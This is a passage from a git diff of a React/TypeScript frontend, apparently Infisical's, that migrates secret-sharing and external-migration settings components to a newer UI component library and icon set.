@@ -54,7 +71,7 @@ const validateFile = (file: File): string | null => {
     return `File too large. Maximum size is ${MAX_FILE_SIZE / 1024 / 1024}MB`;
   }
   if (!ALLOWED_FILE_TYPES.includes(file.type)) {
-    return "Invalid file type. Please upload a PNG, JPEG, GIF, SVG, ICO, or WebP image.";
+    return `Invalid file type. Please upload a ${ACCEPTED_FORMATS_LABEL} image.`;
   }
   return null;
 };
@@ -103,9 +120,8 @@ const AssetUploadCard = ({
   const inputRef = useRef<HTMLInputElement>(null);
   const [previewUrl, setPreviewUrl] = useState<string | null>(null);
   const [isLoading, setIsLoading] = useState(false);
-  const [isDeleteModalOpen, setIsDeleteModalOpen] = useState(false);
+  const [isDeleteDialogOpen, setIsDeleteDialogOpen] = useState(false);
 
-  // Fetch existing asset on mount if it exists
   useEffect(() => {
     if (hasAsset) {
       setIsLoading(true);
@@ -136,7 +152,6 @@ const AssetUploadCard = ({
 
       await onUpload(assetType, file);
 
-      // Update preview with the uploaded file
       const reader = new FileReader();
       reader.onloadend = () => {
         setPreviewUrl(reader.result as string);
@@ -148,14 +163,14 @@ const AssetUploadCard = ({
   const handleDelete = async () => {
     await onDelete(assetType);
     setPreviewUrl(null);
-    setIsDeleteModalOpen(false);
+    setIsDeleteDialogOpen(false);
   };
 
   return (
-    <div className="flex h-28 justify-between gap-2 rounded-md border border-mineshaft-600 bg-mineshaft-800 p-3">
+    <div className="flex h-28 justify-between gap-2 rounded-md border border-border bg-container p-3">
       <div className="flex min-h-0 flex-col justify-center">
         <p className="mb-1 text-sm font-medium">{title}</p>
-        <p className="mb-2 text-xs text-mineshaft-400">{description}</p>
+        <p className="mb-2 text-xs text-muted">{description}</p>
         <input
           ref={inputRef}
           type="file"
@@ -165,7 +180,7 @@ const AssetUploadCard = ({
           disabled={!isAllowed || isPending}
         />
         <div className="flex gap-2">
-          <ButtonV3
+          <Button
             variant="neutral"
             size="xs"
             onClick={() => inputRef.current?.click()}
@@ -173,37 +188,47 @@ const AssetUploadCard = ({
           >
             <UploadIcon />
             Upload {title}
-          </ButtonV3>
+          </Button>
           {previewUrl && (
-            <ButtonV3
+            <Button
               variant="danger"
               size="xs"
-              onClick={() => setIsDeleteModalOpen(true)}
+              onClick={() => setIsDeleteDialogOpen(true)}
               isDisabled={!isAllowed || isPending}
             >
-              <TrashIcon />
+              <Trash2 />
               Delete
-            </ButtonV3>
+            </Button>
           )}
-          <DeleteActionModal
-            isOpen={isDeleteModalOpen}
-            onClose={() => setIsDeleteModalOpen(false)}
-            onChange={setIsDeleteModalOpen}
-            deleteKey="delete"
-            title={`Delete ${title}?`}
-            onDeleteApproved={handleDelete}
-            buttonText="Delete"
-          />
+          <AlertDialog open={isDeleteDialogOpen} onOpenChange={setIsDeleteDialogOpen}>
+            <AlertDialogContent>
+              <AlertDialogHeader>
+                <AlertDialogMedia>
+                  <Trash2 />
+                </AlertDialogMedia>
+                <AlertDialogTitle>Delete {title}?</AlertDialogTitle>
+                <AlertDialogDescription>
+                  This will remove the {title.toLowerCase()} from your shared secret pages.
+                </AlertDialogDescription>
+              </AlertDialogHeader>
+              <AlertDialogFooter>
+                <AlertDialogCancel>Cancel</AlertDialogCancel>
+                <AlertDialogAction variant="danger" onClick={handleDelete}>
+                  Delete
+                </AlertDialogAction>
+              </AlertDialogFooter>
+            </AlertDialogContent>
+          </AlertDialog>
         </div>
       </div>
       {isLoading ? (
-        <div className="aspect-square h-full w-auto animate-pulse rounded border border-mineshaft-500 bg-mineshaft-600" />
+        <Skeleton className="aspect-square h-full w-auto rounded" />
       ) : (
         previewUrl && (
           <img
             src={previewUrl}
             alt={`${title} preview`}
-            className="aspect-square h-full w-auto rounded border border-mineshaft-500 object-contain p-1"
+            className="aspect-square h-full w-auto rounded border border-border object-contain p-1"
           />
         )
       )}
@@ -274,137 +299,137 @@ export const SecretSharingBrandingSection = () => {
   };
 
   return (
-    <div className="mb-4 rounded-lg border border-mineshaft-600 bg-mineshaft-900 p-4">
-      <div className="flex w-full items-center justify-between">
-        <div className="flex items-center gap-2">
-          <p className="text-xl font-medium">Custom Branding</p>
+    <Card>
+      <CardHeader>
+        <CardTitle>
+          Custom Branding
           {!isFeatureEnabled && (
             <Badge variant="info">
               <LockIcon />
               Enterprise
             </Badge>
           )}
-        </div>
-      </div>
-      <p className="mt-2 mb-4 text-sm text-gray-400">
-        Customize the appearance of your shared secret pages with your own branding.
-      </p>
-
-      {!isFeatureEnabled ? (
-        <div className="flex items-center justify-between gap-2 rounded-md border border-mineshaft-600 bg-mineshaft-800 p-4">
-          <p className="text-sm text-mineshaft-300">
-            Custom branding for secret sharing pages is available on Enterprise plans.
-          </p>
-          <ButtonV3 size="xs" variant="org" asChild>
-            <a href="https://infisical.com/schedule-demo" target="_blank" rel="noreferrer">
-              Talk to Us
-            </a>
-          </ButtonV3>
-        </div>
-      ) : (
-        <OrgPermissionCan I={OrgPermissionActions.Edit} a={OrgPermissionSubjects.Settings}>
-          {(isAllowed) => (
-            <div className="space-y-4">
-              <div className="grid grid-cols-1 gap-4 md:grid-cols-2">
-                <AssetUploadCard
-                  assetType="brand-logo"
-                  title="Logo"
-                  description="Displayed on shared secret pages (max 1MB)"
-                  hasAsset={brandingConfig?.hasLogo ?? false}
-                  isAllowed={isAllowed}
-                  isPending={isPending}
-                  onUpload={handleFileUpload}
-                  onDelete={handleFileDelete}
-                />
-                <AssetUploadCard
-                  assetType="brand-favicon"
-                  title="Favicon"
-                  description="Displayed in browser tab (max 1MB)"
-                  hasAsset={brandingConfig?.hasFavicon ?? false}
-                  isAllowed={isAllowed}
-                  isPending={isPending}
-                  onUpload={handleFileUpload}
-                  onDelete={handleFileDelete}
-                />
-              </div>
-
-              <form onSubmit={handleSubmit(handleFormSubmit)} autoComplete="off">
+        </CardTitle>
+        <CardDescription>
+          Customize the appearance of your shared secret pages with your own branding.
+        </CardDescription>
+      </CardHeader>
+      <CardContent>
+        {!isFeatureEnabled ? (
+          <div className="flex items-center justify-between gap-2 rounded-md border border-border bg-container p-4">
+            <p className="text-sm text-muted">
+              Custom branding for secret sharing pages is available on Enterprise plans.
+            </p>
+            <Button size="xs" variant="org" asChild>
+              <a href="https://infisical.com/schedule-demo" target="_blank" rel="noreferrer">
+                Talk to Us
+              </a>
+            </Button>
+          </div>
+        ) : (
+          <OrgPermissionCan I={OrgPermissionActions.Edit} a={OrgPermissionSubjects.Settings}>
+            {(isAllowed) => (
+              <div className="space-y-4">
                 <div className="grid grid-cols-1 gap-4 md:grid-cols-2">
-                  <Controller
-                    control={control}
-                    name="primaryColor"
-                    render={({ field, fieldState: { error } }) => (
-                      <FormControl
-                        isError={Boolean(error)}
-                        errorText={error?.message}
-                        label="Primary Color"
-                        tooltipText="Background color for the page (hex format, e.g., #82cec0)"
-                      >
-                        <div className="flex items-center gap-2">
-                          <Input
-                            {...field}
-                            placeholder="#0e1014"
-                            isDisabled={!isAllowed}
-                            className="flex-1"
-                          />
-                          <div
-                            className="size-9 shrink-0 rounded border border-mineshaft-500"
-                            style={{
-                              backgroundColor:
-                                field.value && hexColorRegex.test(field.value)
-                                  ? field.value
-                                  : "#0e1014"
-                            }}
-                          />
-                        </div>
-                      </FormControl>
-                    )}
+                  <AssetUploadCard
+                    assetType="brand-logo"
+                    title="Logo"
+                    description={`Displayed on shared secret pages. ${ACCEPTED_FORMATS_LABEL}, max 1MB.`}
+                    hasAsset={brandingConfig?.hasLogo ?? false}
+                    isAllowed={isAllowed}
+                    isPending={isPending}
+                    onUpload={handleFileUpload}
+                    onDelete={handleFileDelete}
                   />
-                  <Controller
-                    control={control}
-                    name="secondaryColor"
-                    render={({ field, fieldState: { error } }) => (
-                      <FormControl
-                        isError={Boolean(error)}
-                        errorText={error?.message}
-                        label="Secondary Color"
-                        tooltipText="Panel and component background color (hex format, e.g., #14211e)"
-                      >
-                        <div className="flex items-center gap-2">
-                          <Input
-                            {...field}
-                            placeholder="#1e1f22"
-                            isDisabled={!isAllowed}
-                            className="flex-1"
-                          />
-                          <div
-                            className="size-9 shrink-0 rounded border border-mineshaft-500"
-                            style={{
-                              backgroundColor:
-                                field.value && hexColorRegex.test(field.value)
-                                  ? field.value
-                                  : "#1e1f22"
-                            }}
-                          />
-                        </div>
-                      </FormControl>
-                    )}
+                  <AssetUploadCard
+                    assetType="brand-favicon"
+                    title="Favicon"
+                    description={`Displayed in browser tab. ${ACCEPTED_FORMATS_LABEL}, max 1MB.`}
+                    hasAsset={brandingConfig?.hasFavicon ?? false}
+                    isAllowed={isAllowed}
+                    isPending={isPending}
+                    onUpload={handleFileUpload}
+                    onDelete={handleFileDelete}
                   />
                 </div>
-                <Button
-                  colorSchema="secondary"
-                  type="submit"
-                  isLoading={isUpdatingOrg}
-                  isDisabled={!isDirty || !isAllowed}
-                  className="mt-4"
+
+                <form
+                  onSubmit={handleSubmit(handleFormSubmit)}
+                  autoComplete="off"
+                  className="flex flex-col gap-4"
                 >
-                  Save Colors
-                </Button>
-              </form>
-            </div>
-          )}
-        </OrgPermissionCan>
-      )}
-    </div>
+                  <div className="grid grid-cols-1 gap-4 md:grid-cols-2">
+                    <Controller
+                      control={control}
+                      name="primaryColor"
+                      render={({ field, fieldState: { error } }) => (
+                        <Field>
+                          <FieldLabel>
+                            Primary Color
+                            <Tooltip>
+                              <TooltipTrigger asChild>
+                                <InfoIcon className="text-muted" />
+                              </TooltipTrigger>
+                              <TooltipContent className="max-w-xs">
+                                Background color for the page (hex format, e.g., #82cec0)
+                              </TooltipContent>
+                            </Tooltip>
+                          </FieldLabel>
+                          <ColorPicker
+                            value={field.value}
+                            onChange={field.onChange}
+                            placeholder="#0e1014"
+                            disabled={!isAllowed}
+                            isError={Boolean(error)}
+                          />
+                          {error && <FieldError>{error.message}</FieldError>}
+                        </Field>
+                      )}
+                    />
+                    <Controller
+                      control={control}
+                      name="secondaryColor"
+                      render={({ field, fieldState: { error } }) => (
+                        <Field>
+                          <FieldLabel>
+                            Secondary Color
+                            <Tooltip>
+                              <TooltipTrigger asChild>
+                                <InfoIcon className="text-muted" />
+                              </TooltipTrigger>
+                              <TooltipContent className="max-w-xs">
+                                Panel and component background color (hex format, e.g., #14211e)
+                              </TooltipContent>
+                            </Tooltip>
+                          </FieldLabel>
+                          <ColorPicker
+                            value={field.value}
+                            onChange={field.onChange}
+                            placeholder="#1e1f22"
+                            disabled={!isAllowed}
+                            isError={Boolean(error)}
+                          />
+                          {error && <FieldError>{error.message}</FieldError>}
+                        </Field>
+                      )}
+                    />
+                  </div>
+                  <div>
+                    <Button
+                      variant={!isDirty || !isAllowed ? "outline" : "org"}
+                      type="submit"
+                      isPending={isUpdatingOrg}
+                      isDisabled={!isDirty || !isAllowed}
+                    >
+                      Save Colors
+                    </Button>
+                  </div>
+                </form>
+              </div>
+            )}
+          </OrgPermissionCan>
+        )}
+      </CardContent>
+    </Card>
   );
 };
diff --git a/frontend/src/pages/organization/SecretSharingPage/components/SecretSharingSettings/SecretSharingSettingsTab.tsx b/frontend/src/pages/organization/SecretSharingPage/components/SecretSharingSettings/SecretSharingSettingsTab.tsx
index 63236b46ba0..d7c1f970af1 100644
--- a/frontend/src/pages/organization/SecretSharingPage/components/SecretSharingSettings/SecretSharingSettingsTab.tsx
+++ b/frontend/src/pages/organization/SecretSharingPage/components/SecretSharingSettings/SecretSharingSettingsTab.tsx
@@ -1,3 +1,4 @@
+import { FieldGroup } from "@app/components/v3";
 import { OrgPermissionSubjects } from "@app/context";
 import { OrgPermissionSecretShareAction } from "@app/context/OrgPermissionContext/types";
 import { withPermission } from "@app/hoc";
@@ -9,11 +10,11 @@ import { SecretSharingBrandingSection } from "./SecretSharingBrandingSection";
 export const SecretSharingSettingsTab = withPermission(
   () => {
     return (
-      <div className="w-full">
+      <FieldGroup>
         <SecretSharingAllowShareToAnyone />
         <OrgSecretShareLimitSection />
         <SecretSharingBrandingSection />
-      </div>
+      </FieldGroup>
     );
   },
   {
diff --git a/frontend/src/pages/organization/SecretSharingPage/components/ShareSecret/AddShareSecretModal.tsx b/frontend/src/pages/organization/SecretSharingPage/components/ShareSecret/AddShareSecretModal.tsx
index a9450993fc7..a4b6df750f0 100644
--- a/frontend/src/pages/organization/SecretSharingPage/components/ShareSecret/AddShareSecretModal.tsx
+++ b/frontend/src/pages/organization/SecretSharingPage/components/ShareSecret/AddShareSecretModal.tsx
@@ -1,4 +1,10 @@
-import { Modal, ModalContent } from "@app/components/v2";
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogHeader,
+  DialogTitle
+} from "@app/components/v3";
 import { useOrganization } from "@app/context";
 import { UsePopUpState } from "@app/hooks/usePopUp";
 import { ShareSecretForm } from "@app/pages/public/ShareSecretPage/components";
@@ -14,16 +20,17 @@ type Props = {
 export const AddShareSecretModal = ({ popUp, handlePopUpToggle }: Props) => {
   const { currentOrg } = useOrganization();
   return (
-    <Modal
-      isOpen={popUp?.createSharedSecret?.isOpen}
+    <Dialog
+      open={popUp?.createSharedSecret?.isOpen}
       onOpenChange={(isOpen) => {
         handlePopUpToggle("createSharedSecret", isOpen);
       }}
     >
-      <ModalContent
-        title="Share a Secret"
-        subTitle="Securely share one off secrets with your team."
-      >
+      <DialogContent className="max-w-xl">
+        <DialogHeader>
+          <DialogTitle>Share a Secret</DialogTitle>
+          <DialogDescription>Securely share one off secrets with your team.</DialogDescription>
+        </DialogHeader>
         <ShareSecretForm
           isPublic={false}
           value={(popUp.createSharedSecret.data as { value?: string })?.value}
@@ -33,7 +40,7 @@ export const AddShareSecretModal = ({ popUp, handlePopUpToggle }: Props) => {
           maxSharedSecretLifetime={currentOrg?.maxSharedSecretLifetime}
           maxSharedSecretViewLimit={currentOrg?.maxSharedSecretViewLimit}
         />
-      </ModalContent>
-    </Modal>
+      </DialogContent>
+    </Dialog>
   );
 };
diff --git a/frontend/src/pages/organization/SecretSharingPage/components/ShareSecret/ShareSecretTab.tsx b/frontend/src/pages/organization/SecretSharingPage/components/ShareSecret/ShareSecretTab.tsx
index 2ea61ca989b..c3f64e34b59 100644
--- a/frontend/src/pages/organization/SecretSharingPage/components/ShareSecret/ShareSecretTab.tsx
+++ b/frontend/src/pages/organization/SecretSharingPage/components/ShareSecret/ShareSecretTab.tsx
@@ -1,8 +1,25 @@
-import { faPlus } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
+import { ForwardIcon, Trash2 } from "lucide-react";
 
 import { createNotification } from "@app/components/notifications";
-import { Button, DeleteActionModal } from "@app/components/v2";
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogMedia,
+  AlertDialogTitle,
+  Button,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  DocumentationLinkBadge
+} from "@app/components/v3";
 import { useDeleteSharedSecret } from "@app/hooks/api";
 import { usePopUp } from "@app/hooks/usePopUp";
 
@@ -32,31 +49,51 @@ export const ShareSecretTab = () => {
   };
 
   return (
-    <div className="mb-6 rounded-lg border border-mineshaft-600 bg-mineshaft-900 p-4">
-      <div className="mb-4 flex justify-between">
-        <p className="text-xl font-medium text-mineshaft-100">Shared Secrets</p>
-        <Button
-          colorSchema="primary"
-          leftIcon={<FontAwesomeIcon icon={faPlus} />}
-          onClick={() => {
-            handlePopUpOpen("createSharedSecret");
-          }}
-        >
-          Share Secret
-        </Button>
-      </div>
-      <ShareSecretsTable handlePopUpOpen={handlePopUpOpen} />
+    <Card>
+      <CardHeader>
+        <CardTitle>
+          Shared Secrets
+          <DocumentationLinkBadge href="https://infisical.com/docs/documentation/platform/secret-sharing" />
+        </CardTitle>
+        <CardDescription>Manage and view your shared secrets</CardDescription>
+        <CardAction>
+          <Button
+            variant="org"
+            onClick={() => {
+              handlePopUpOpen("createSharedSecret");
+            }}
+          >
+            <ForwardIcon />
+            Share Secret
+          </Button>
+        </CardAction>
+      </CardHeader>
+      <CardContent>
+        <ShareSecretsTable handlePopUpOpen={handlePopUpOpen} />
+      </CardContent>
       <AddShareSecretModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
-      <DeleteActionModal
-        isOpen={popUp.deleteSharedSecretConfirmation.isOpen}
-        title={`Delete ${
-          (popUp?.deleteSharedSecretConfirmation?.data as DeleteModalData)?.name || " "
-        } shared secret?`}
-        onChange={(isOpen) => handlePopUpToggle("deleteSharedSecretConfirmation", isOpen)}
-        deleteKey={(popUp?.deleteSharedSecretConfirmation?.data as DeleteModalData)?.name}
-        onClose={() => handlePopUpClose("deleteSharedSecretConfirmation")}
-        onDeleteApproved={onDeleteApproved}
-      />
-    </div>
+      <AlertDialog
+        open={popUp.deleteSharedSecretConfirmation.isOpen}
+        onOpenChange={(isOpen) => handlePopUpToggle("deleteSharedSecretConfirmation", isOpen)}
+      >
+        <AlertDialogContent>
+          <AlertDialogHeader>
+            <AlertDialogMedia>
+              <Trash2 />
+            </AlertDialogMedia>
+            <AlertDialogTitle>Delete shared secret?</AlertDialogTitle>
+            <AlertDialogDescription>
+              This action cannot be undone. The shared secret link will no longer be accessible.
+            </AlertDialogDescription>
+          </AlertDialogHeader>
+          <AlertDialogFooter>
+            <AlertDialogCancel>Cancel</AlertDialogCancel>
+            <AlertDialogAction variant="danger" onClick={onDeleteApproved}>
+              Delete
+            </AlertDialogAction>
+          </AlertDialogFooter>
+        </AlertDialogContent>
+      </AlertDialog>
+    </Card>
   );
 };
diff --git a/frontend/src/pages/organization/SecretSharingPage/components/ShareSecret/ShareSecretsRow.tsx b/frontend/src/pages/organization/SecretSharingPage/components/ShareSecret/ShareSecretsRow.tsx
index d4b40723b75..fc3a627f8aa 100644
--- a/frontend/src/pages/organization/SecretSharingPage/components/ShareSecret/ShareSecretsRow.tsx
+++ b/frontend/src/pages/organization/SecretSharingPage/components/ShareSecret/ShareSecretsRow.tsx
@@ -1,9 +1,19 @@
-import { faEnvelope, faEnvelopeOpen, faTrash } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { format } from "date-fns";
+import { ClockAlertIcon, ClockIcon, Ellipsis, Mail, MailOpen, Trash2 } from "lucide-react";
 
-import { IconButton, Td, Tooltip, Tr } from "@app/components/v2";
-import { Badge } from "@app/components/v3";
+import {
+  Badge,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  IconButton,
+  TableCell,
+  TableRow,
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger
+} from "@app/components/v3";
 import { TSharedSecret } from "@app/hooks/api/secretSharing";
 import { UsePopUpState } from "@app/hooks/usePopUp";
 
@@ -23,9 +33,8 @@ export const ShareSecretsRow = ({
     }
   ) => void;
 }) => {
-  // const [isRowExpanded, setIsRowExpanded] = useToggle();
   const lastViewedAt = row.lastViewedAt
-    ? format(new Date(row.lastViewedAt), "yyyy-MM-dd - HH:mm a")
+    ? format(new Date(row.lastViewedAt), "MMM d, yyyy h:mm a")
     : undefined;
 
   let isExpired = false;
@@ -38,38 +47,61 @@ export const ShareSecretsRow = ({
   }
 
   return (
-    <Tr
-      key={row.id}
-      // className="h-10 cursor-pointer transition-colors duration-300 hover:bg-mineshaft-700"
-      // onClick={() => setIsRowExpanded.toggle()}
-    >
-      <Td>
-        <Tooltip content={lastViewedAt ? `Last opened at ${lastViewedAt}` : "Not yet opened"}>
-          <FontAwesomeIcon icon={lastViewedAt ? faEnvelopeOpen : faEnvelope} />
+    <TableRow key={row.id}>
+      <TableCell>
+        <Tooltip>
+          <TooltipTrigger asChild>
+            {lastViewedAt ? (
+              <MailOpen className="size-4 text-accent" />
+            ) : (
+              <Mail className="size-4 text-accent" />
+            )}
+          </TooltipTrigger>
+          <TooltipContent>
+            {lastViewedAt ? `Last opened at ${lastViewedAt}` : "Not yet opened"}
+          </TooltipContent>
         </Tooltip>
-      </Td>
-      <Td>{row.name ? `${row.name}` : "-"}</Td>
-      <Td>
-        <Badge variant={isExpired ? "danger" : "success"}>{isExpired ? "Expired" : "Active"}</Badge>
-      </Td>
-      <Td>{`${format(new Date(row.createdAt), "yyyy-MM-dd - HH:mm a")}`}</Td>
-      <Td>{format(new Date(row.expiresAt), "yyyy-MM-dd - HH:mm a")}</Td>
-      <Td>{row.expiresAfterViews !== null ? row.expiresAfterViews : "-"}</Td>
-      <Td>
-        <IconButton
-          onClick={(e) => {
-            e.stopPropagation();
-            handlePopUpOpen("deleteSharedSecretConfirmation", {
-              name: "delete",
-              id: row.id
-            });
-          }}
-          variant="plain"
-          ariaLabel="delete"
-        >
-          <FontAwesomeIcon icon={faTrash} />
-        </IconButton>
-      </Td>
-    </Tr>
+      </TableCell>
+      <TableCell>{row.name || <span className="text-muted">&mdash;</span>}</TableCell>
+
+      <TableCell>{format(new Date(row.createdAt), "MMM d, yyyy h:mm a")}</TableCell>
+      <TableCell>{format(new Date(row.expiresAt), "MMM d, yyyy h:mm a")}</TableCell>
+      <TableCell>
+        {row.expiresAfterViews !== null ? (
+          row.expiresAfterViews
+        ) : (
+          <span className="text-muted">&mdash;</span>
+        )}
+      </TableCell>
+      <TableCell>
+        <Badge variant={isExpired ? "danger" : "success"}>
+          {isExpired ? <ClockAlertIcon /> : <ClockIcon />}
+          {isExpired ? "Expired" : "Active"}
+        </Badge>
+      </TableCell>
+      <TableCell>
+        <DropdownMenu>
+          <DropdownMenuTrigger asChild>
+            <IconButton variant="ghost" size="xs" aria-label="actions">
+              <Ellipsis className="size-4" />
+            </IconButton>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="end">
+            <DropdownMenuItem
+              variant="danger"
+              onClick={() =>
+                handlePopUpOpen("deleteSharedSecretConfirmation", {
+                  name: "delete",
+                  id: row.id
+                })
+              }
+            >
+              <Trash2 />
+              Delete
+            </DropdownMenuItem>
+          </DropdownMenuContent>
+        </DropdownMenu>
+      </TableCell>
+    </TableRow>
   );
 };
diff --git a/frontend/src/pages/organization/SecretSharingPage/components/ShareSecret/ShareSecretsTable.tsx b/frontend/src/pages/organization/SecretSharingPage/components/ShareSecret/ShareSecretsTable.tsx
index 5176c916268..a756eb2a1e6 100644
--- a/frontend/src/pages/organization/SecretSharingPage/components/ShareSecret/ShareSecretsTable.tsx
+++ b/frontend/src/pages/organization/SecretSharingPage/components/ShareSecret/ShareSecretsTable.tsx
@@ -1,17 +1,18 @@
 import { useState } from "react";
-import { faKey } from "@fortawesome/free-solid-svg-icons";
 
 import {
-  EmptyState,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
   Pagination,
+  Skeleton,
   Table,
-  TableContainer,
-  TableSkeleton,
-  TBody,
-  Th,
-  THead,
-  Tr
-} from "@app/components/v2";
+  TableBody,
+  TableHead,
+  TableHeader,
+  TableRow
+} from "@app/components/v3";
 import { useGetSharedSecrets } from "@app/hooks/api/secretSharing";
 import { UsePopUpState } from "@app/hooks/usePopUp";
 
@@ -37,43 +38,60 @@ export const ShareSecretsTable = ({ handlePopUpOpen }: Props) => {
     offset: (page - 1) * perPage,
     limit: perPage
   });
+  const hasSecrets = !isPending && data?.secrets && data.secrets.length > 0;
+
   return (
-    <TableContainer>
-      <Table>
-        <THead>
-          <Tr>
-            <Th className="w-5" />
-            <Th>Name</Th>
-            <Th>Status</Th>
-            <Th>Created At</Th>
-            <Th>Valid Until</Th>
-            <Th>Views Left</Th>
-            <Th aria-label="button" className="w-5" />
-          </Tr>
-        </THead>
-        <TBody>
-          {isPending && <TableSkeleton columns={7} innerKey="shared-secrets" />}
-          {!isPending &&
-            data?.secrets?.map((row) => (
-              <ShareSecretsRow key={row.id} row={row} handlePopUpOpen={handlePopUpOpen} />
-            ))}
-        </TBody>
-      </Table>
-      {!isPending &&
-        data?.secrets &&
-        data?.totalCount >= perPage &&
-        data?.totalCount !== undefined && (
-          <Pagination
-            count={data.totalCount}
-            page={page}
-            perPage={perPage}
-            onChangePage={(newPage) => setPage(newPage)}
-            onChangePerPage={(newPerPage) => setPerPage(newPerPage)}
-          />
-        )}
+    <div>
+      {(isPending || hasSecrets) && (
+        <Table>
+          <TableHeader>
+            <TableRow>
+              <TableHead className="w-5" />
+              <TableHead className="w-1/4">Name</TableHead>
+              <TableHead>Created</TableHead>
+              <TableHead>Expires</TableHead>
+              <TableHead>Views Left</TableHead>
+              <TableHead>Status</TableHead>
+              <TableHead aria-label="button" className="w-5" />
+            </TableRow>
+          </TableHeader>
+          <TableBody>
+            {isPending &&
+              Array.from({ length: 5 }).map((_, i) => (
+                // eslint-disable-next-line react/no-array-index-key
+                <TableRow key={`skeleton-${i}`}>
+                  {Array.from({ length: 7 }).map((__, j) => (
+                    // eslint-disable-next-line react/no-array-index-key
+                    <td key={`skeleton-cell-${j}`} className="px-3 py-3">
+                      <Skeleton className="h-4 w-full" />
+                    </td>
+                  ))}
+                </TableRow>
+              ))}
+            {hasSecrets &&
+              data.secrets.map((row) => (
+                <ShareSecretsRow key={row.id} row={row} handlePopUpOpen={handlePopUpOpen} />
+              ))}
+          </TableBody>
+        </Table>
+      )}
+      {hasSecrets && data.totalCount >= perPage && data.totalCount !== undefined && (
+        <Pagination
+          count={data.totalCount}
+          page={page}
+          perPage={perPage}
+          onChangePage={(newPage) => setPage(newPage)}
+          onChangePerPage={(newPerPage) => setPerPage(newPerPage)}
+        />
+      )}
       {!isPending && !data?.secrets?.length && (
-        <EmptyState title="No secrets shared yet" icon={faKey} />
+        <Empty className="border">
+          <EmptyHeader>
+            <EmptyTitle>No secrets shared yet</EmptyTitle>
+            <EmptyDescription>Share a secret to get started</EmptyDescription>
+          </EmptyHeader>
+        </Empty>
       )}
-    </TableContainer>
+    </div>
   );
 };
diff --git a/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/ExternalMigrationsTab.tsx b/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/ExternalMigrationsTab.tsx
index 8a793536cf8..10d2ea460e9 100644
--- a/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/ExternalMigrationsTab.tsx
+++ b/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/ExternalMigrationsTab.tsx
@@ -1,13 +1,15 @@
-import { faArrowUpRightFromSquare, faBookOpen, faPlus } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
+import { Plus } from "lucide-react";
 
-import { Button } from "@app/components/v2";
+import { Button, DocumentationLinkBadge } from "@app/components/v3";
 import { useOrgPermission } from "@app/context";
 import { OrgMembershipRole } from "@app/helpers/roles";
 import { usePopUp } from "@app/hooks";
 
+import { InPlatformMigrationSection } from "./components/InPlatformMigrationSection";
 import { SelectImportFromPlatformModal } from "./components/SelectImportFromPlatformModal";
-import { VaultConnectionSection } from "./components/VaultConnectionSection";
+
+const EXTERNAL_MIGRATIONS_DOCS_HREF =
+  "https://infisical.com/docs/documentation/platform/external-migrations/overview";
 
 export const ExternalMigrationsTab = () => {
   const { hasOrgRole } = useOrgPermission();
@@ -17,22 +19,26 @@ export const ExternalMigrationsTab = () => {
   return (
     <div className="flex flex-col gap-6">
       {/* In-Platform Migration Tooling Section */}
-      <div className="rounded-lg border border-mineshaft-600 bg-mineshaft-900 p-4">
+      <div className="rounded-lg border border-border bg-card p-4">
         <div className="mb-4">
-          <h2 className="text-xl font-medium text-mineshaft-100">In-Platform Migration Tooling</h2>
-          <p className="mt-1 mb-6 text-sm text-gray-400">
-            Configure platform connections to enable migration features throughout Infisical, such
-            as importing policies and resources directly within the UI.
+          <div className="flex flex-wrap items-center gap-2">
+            <h2 className="text-xl font-medium text-foreground">In-Platform Migration Tooling</h2>
+            <DocumentationLinkBadge href={EXTERNAL_MIGRATIONS_DOCS_HREF} />
+          </div>
+          <p className="mt-1 mb-6 text-sm text-muted">
+            Connect HashiCorp Vault or Doppler to enable migration features across Infisical: import
+            KV secrets (and from Vault, policies, Kubernetes-related resources, and more) directly
+            from the UI.
           </p>
         </div>
-        <VaultConnectionSection />
+        <InPlatformMigrationSection />
       </div>
 
       {/* Bulk Data Import Section */}
-      <div className="rounded-lg border border-mineshaft-600 bg-mineshaft-900 p-4">
+      <div className="rounded-lg border border-border bg-card p-4">
         <div className="mb-4">
-          <h2 className="text-xl font-medium text-mineshaft-100">Bulk Data Import</h2>
-          <p className="mt-1 mb-6 text-sm text-gray-400">
+          <h2 className="text-xl font-medium text-foreground">Bulk Data Import</h2>
+          <p className="mt-1 mb-6 text-sm text-muted">
             Perform one-time bulk imports of data from external platforms.
           </p>
         </div>
@@ -40,36 +46,24 @@ export const ExternalMigrationsTab = () => {
         <div className="flex flex-wrap items-start justify-between gap-2">
           <div>
             <div className="flex items-center gap-2">
-              <p className="text-base font-medium text-mineshaft-100">
-                Import from external source
-              </p>
-              <a
-                target="_blank"
-                rel="noopener noreferrer"
-                href="https://infisical.com/docs/documentation/platform/external-migrations/overview"
-              >
-                <div className="inline-block rounded-md bg-yellow/20 px-1.5 pt-[0.04rem] pb-[0.03rem] text-sm text-yellow opacity-80 hover:opacity-100">
-                  <FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
-                  Docs
-                  <FontAwesomeIcon
-                    icon={faArrowUpRightFromSquare}
-                    className="text-xxs mb-[0.07rem] ml-1.5"
-                  />
-                </div>
-              </a>
+              <p className="text-base font-medium text-foreground">Import from external source</p>
+              <DocumentationLinkBadge href={EXTERNAL_MIGRATIONS_DOCS_HREF} />
             </div>
-            <p className="mt-1 text-sm text-gray-400">
+            <p className="mt-1 text-sm text-muted">
               Import data from another platform to Infisical.
             </p>
           </div>
 
           <Button
